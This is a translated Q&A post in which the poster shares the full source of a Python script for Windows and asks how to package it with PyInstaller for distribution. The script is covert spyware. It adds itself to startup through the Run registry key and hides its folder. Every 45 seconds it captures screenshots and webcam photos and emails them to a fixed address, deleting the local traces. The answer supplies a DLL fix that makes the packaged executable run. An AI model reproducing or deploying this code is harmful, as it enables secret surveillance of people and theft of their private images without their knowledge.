使我的python脚本可执行,以便任何人都可以在任何Windows系统中使用吗?

时间:2018-09-06 04:09:33

标签: windows python-2.7 pyinstaller

我编写了一个python脚本,可以捕获屏幕截图,并从网络摄像头捕获图片并将其发送到我的电子邮件中。经过大量的努力,我已经完成了脚本。我发现与向任何用户分发脚本相比,编写脚本要容易得多。我试过几次用 Pyinstaller 编译脚本,但没有一个起作用。到目前为止,我已经确定,如果要使用pyinstaller编译脚本,则应该调整 .spec文件。但据我所知,调整 .spec文件是为了使其他资源可用,例如图标图像,程序中使用的图像

但是我没有任何其他资源,但是当我的程序运行时,它会在 root 文件夹中创建两个文件夹 is_internet和no_internet ,如果存在互联网连接,则该程序从网络摄像头拍摄照片并截图,然后将其发送到我的电子邮件并删除这两个文件。如果没有互联网,那么我的程序会将图像保存到no_internet文件夹中,其中其中还有另外两个文件夹 ie屏幕快照和网络摄像头,其中拍摄的屏幕快照存储在屏幕快照文件夹中,而来自网络摄像头的图像存储在网络摄像头中夹。每当有互联网连接时,我的脚本就会将这些保存的图像发送到我的电子邮件中,(一次100张图像),并删除那些发送的图像。

我使用了 pyinstaller -F -w Spyder.py ,但是后来,如果我想以onefile模式进行编译,那么我便知道在脚本顶部还要再使用一个功能。该函数如下所示:

def resource_path(relative_path):
    try:
        base_path = sys._MEIPASS

    except Exception:
        base_path = os.path.abspath(".")

    return os.path.join(base_path, relative_path)

但是我不知道在脚本中哪里可以调用此函数。

我的.spec文件在运行时如下所示:- pyi-makespec --onefile --windowed --noupx Spyder.py

# -*- mode: python -*-

block_cipher = None


a = Analysis(['Spyder.py'],
             pathex=['C:\\Users\\6292s\\Desktop\\PP\\Setup_File\\Open CV -no console'],
             binaries=[],
             datas=[],
             hiddenimports=[],
             hookspath=[],
             runtime_hooks=[],
             excludes=[],
             win_no_prefer_redirects=False,
             win_private_assemblies=False,
             cipher=block_cipher)
pyz = PYZ(a.pure, a.zipped_data,
             cipher=block_cipher)
exe = EXE(pyz,
          a.scripts,
          a.binaries,
          a.zipfiles,
          a.datas,
          name='Spyder',
          debug=False,
          strip=False,
          upx=False,
          runtime_tmpdir=None,
          console=False )

我的脚本

import os
import cv2
import time
import string
import random
import smtplib
import _winreg
import requests
import pyautogui
import subprocess
from email import Encoders
from email.MIMEBase import MIMEBase
from email.mime.image import MIMEImage
from email.mime.multipart import MIMEMultipart
from email.mime.application import MIMEApplication



fromadd = 'fromadd@gmail.com'
toadd = 'toadd@gmail.com'
password = 'Password'


# no idea where to call this function in my script. 

def resource_path(relative_path):
    try:
        base_path = sys._MEIPASS

    except Exception:
        base_path = os.path.abspath(".")

    return os.path.join(base_path, relative_path)


def is_at_startup():

    areg = _winreg.ConnectRegistry(None, _winreg.HKEY_CURRENT_USER)

    try:
        akey = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Spyder.exe', 0, _winreg.KEY_WRITE)
        areg.Close()
        akey.Close()

    except WindowsError:

        key = _winreg.OpenKey(areg, r'SOFTWARE\Microsoft\Windows\CurrentVersion\Run', 0, _winreg.KEY_SET_VALUE)
        _winreg.SetValueEx(key, 'Spyder', 0, _winreg.REG_SZ, 'C:\Program Files (x86)\Spyder\Spyder.exe')

        areg.Close()
        key.Close()



def naming():

    global name
    global clock
    global webcam_name
    global screenshot_name

    name = ''

    for i in range(20):
        x = random.randint(0, 61)
        name += string.printable[x]

    clock = time.ctime().replace(':', '-')
    screenshot_name = clock + ' _Screenshot_ ' + name + '.jpg'
    webcam_name = clock + ' _Webcam_ ' + name + '.jpg'



def make_folder():

    if os.path.exists(os.path.join('C:' + os.sep, 'root')) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')) and os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))) and os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) and os.path.exists(os.path.join(r'C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)


    if os.path.exists(os.path.join('C:' + os.sep, 'root')):
        pass


    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
        pass


    if os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
        pass


    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        pass

    if os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        pass


    if not os.path.exists(os.path.join('C:' + os.sep, 'root')):
        os.mkdir(os.path.join('C:' + os.sep, 'root'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))

        subprocess.call('attrib +s +h "C:\\root"', creationflags=0x08000000)


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))


    if not os.path.exists((os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))


    if not os.path.exists(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        os.mkdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))



def is_internet():

    try:
        requests.get("http://www.google.com")
        return True

    except requests.ConnectionError:
        return False



def login():

    global msg

    sessions = smtplib.SMTP('smtp.gmail.com', '587')
    sessions.ehlo()
    sessions.starttls()
    sessions.ehlo()
    sessions.login(fromadd, password)
    sessions.sendmail(fromadd, toadd, msg.as_string())
    sessions.quit()

    msg = MIMEMultipart()



def capturing():

    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet'))

    screenshot = pyautogui.screenshot()
    screenshot.save(screenshot_name)   

    cam = cv2.VideoCapture(0)
    ret, frame = cam.read()
    cv2.imwrite(webcam_name, frame)
    cam.release()
    cv2.destroyAllWindows()



def no_internet_screenshot():
    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot'))
    screenshot = pyautogui.screenshot()
    screenshot.save(screenshot_name)



def no_internet_webcam():
    os.chdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam'))

    cam = cv2.VideoCapture(0)
    ret, frame = cam.read()
    cv2.imwrite(webcam_name, frame)
    cam.release()
    cv2.destroyAllWindows()



def send_mail(fromadd, toadd):

    global msg

    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Screenshot & Webcam  - Internet Connection'

    screenshot_data = open(screenshot_name, 'rb').read()
    webcam_data = open(webcam_name, 'rb').read()

    send_screenshot = MIMEImage(screenshot_data, name=os.path.basename(screenshot_name))
    send_webcam_pic = MIMEImage(webcam_data, name=os.path.basename(webcam_name))

    msg.attach(send_screenshot)
    msg.attach(send_webcam_pic)

    if is_internet():
        login()

        for f in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet')):
            os.remove(os.path.join('C:' + os.sep, 'root' + os.sep, 'is_internet', f))



def no_internet_sending_screenshot(fromadd, toadd):

    global msg
    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Screenshot  - No Internet'

    screenshot_path = []
    del_path = []
    screenshot_num = 0

    for screenshot_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')):
        abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Screenshot' + os.sep, screenshot_image)
        screenshot_path.append(abs_path)

    while len(screenshot_path) > 0:
        if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Screenshot')) > 0:
            for screenshot_img in screenshot_path:
                if len(screenshot_path) > 100:
                    part = MIMEBase('application', 'octet-stream')
                    part.set_payload(open(screenshot_img, 'rb').read())
                    Encoders.encode_base64(part)
                    part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
                    msg.attach(part)

                    del_path.append(screenshot_img)
                    screenshot_num += 1

                    if screenshot_num == 100:
                        login()

                        capturing()
                        send_mail(fromadd, toadd)

                        for dlt in del_path:
                            screenshot_path.remove(dlt)
                            os.remove(dlt)

                        del_path = []

                        screenshot_num = 0

                else:
                    for screenshot_img in screenshot_path:
                        part = MIMEBase('application', 'octet-stream')
                        part.set_payload(open(screenshot_img, 'rb').read())
                        Encoders.encode_base64(part)
                        part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(screenshot_img)))
                        msg.attach(part)

                        del_path.append(screenshot_img)
                        screenshot_num += 1

                        if screenshot_num == len(screenshot_path):
                            login()

                            capturing()
                            send_mail(fromadd, toadd)

                            for dlt in del_path:
                                screenshot_path.remove(dlt)
                                os.remove(dlt)

                            del_path = []

        else:
            break


def no_internet_sending_webcam(fromadd, toadd):

    global msg
    msg = MIMEMultipart()
    msg['From'] = fromadd
    msg['To'] = toadd
    msg['Subject'] = '-- Webcam pic  - No Internet'

    webcam_path = []
    del_path = []
    webcam_num = 0

    for webcam_image in os.listdir(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')):
        abs_path = os.path.join('C:' + os.sep,'root' + os.sep, 'no_internet' + os.sep, 'Webcam' + os.sep, webcam_image)
        webcam_path.append(abs_path)

    while len(webcam_path) > 0:
        if os.path.getsize(os.path.join('C:' + os.sep, 'root' + os.sep, 'no_internet' + os.sep, 'Webcam')) > 0:
            for webcam_img in webcam_path:
                if len(webcam_path) > 100:
                    part = MIMEBase('application', 'octet-stream')
                    part.set_payload(open(webcam_img, 'rb').read())
                    Encoders.encode_base64(part)
                    part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
                    msg.attach(part)

                    del_path.append(webcam_img)
                    webcam_num += 1

                    if webcam_num == 100:
                        login()

                        capturing()
                        send_mail(fromadd, toadd)

                        for dlt in del_path:
                            webcam_path.remove(dlt)
                            os.remove(dlt)

                        del_path = []

                        webcam_num = 0

                else:
                    for webcam_img in webcam_path:
                        part = MIMEBase('application', 'octet-stream')
                        part.set_payload(open(webcam_img, 'rb').read())
                        Encoders.encode_base64(part)
                        part.add_header('Content-Disposition', 'attachment; filename={}'.format(os.path.basename(webcam_img)))
                        msg.attach(part)

                        del_path.append(webcam_img)
                        webcam_num += 1

                        if webcam_num == len(webcam_path):
                            login()

                            capturing()
                            send_mail(fromadd, toadd)

                            for dlt in del_path:
                                webcam_path.remove(dlt)
                                os.remove(dlt)

                            del_path = []

        else:
            break


def main():

    is_at_startup()
    make_folder()

    while True:

        naming()

        if is_internet():

            no_internet_sending_screenshot(fromadd, toadd)
            no_internet_sending_webcam(fromadd, toadd)

            capturing()
            send_mail(fromadd, toadd)

            time.sleep(45)


        else:

            no_internet_screenshot()
            no_internet_webcam()

            time.sleep(45)


if __name__ == '__main__':
    main()

当我使用上述.spec文件制作可执行文件时,pyinstaller编译我的文件时没有错误。但是,当我将可执行文件运行到没有安装python或pyinstaller的另一台计算机上时,它总是给我致命错误,无法执行Spyder

我正在使用:

  1. Python:2.7.15
  2. Pyinstaller:3.3.1
  3. 我的脚本中使用的模块:os, cv2 (3.4.2.17), time, string, random, smtplib, _winreg, requests (2.19.1), pyautogui (0.9.38), subprocess, email

我是否必须在.spec文件中包含我的工作文件夹(名为root)? 要么 是否应在我的.spec文件中添加任何内容?

我已经问过相同的问题很多次了,但我的问题尚未解决。因此,请帮助我解决问题。

1 个答案:

答案 0 :(得分:1)

我有同样的错误。致命错误是由于可执行文件路径中缺少 opencv_ffmpeg341.dll 而引起的。

我通过将 opencv_ffmpeg341.dll C:\ \ Lib \ site-packages \ cv2 复制到可执行文件所在的路径来解决此问题。

希望这可以解决您的问题。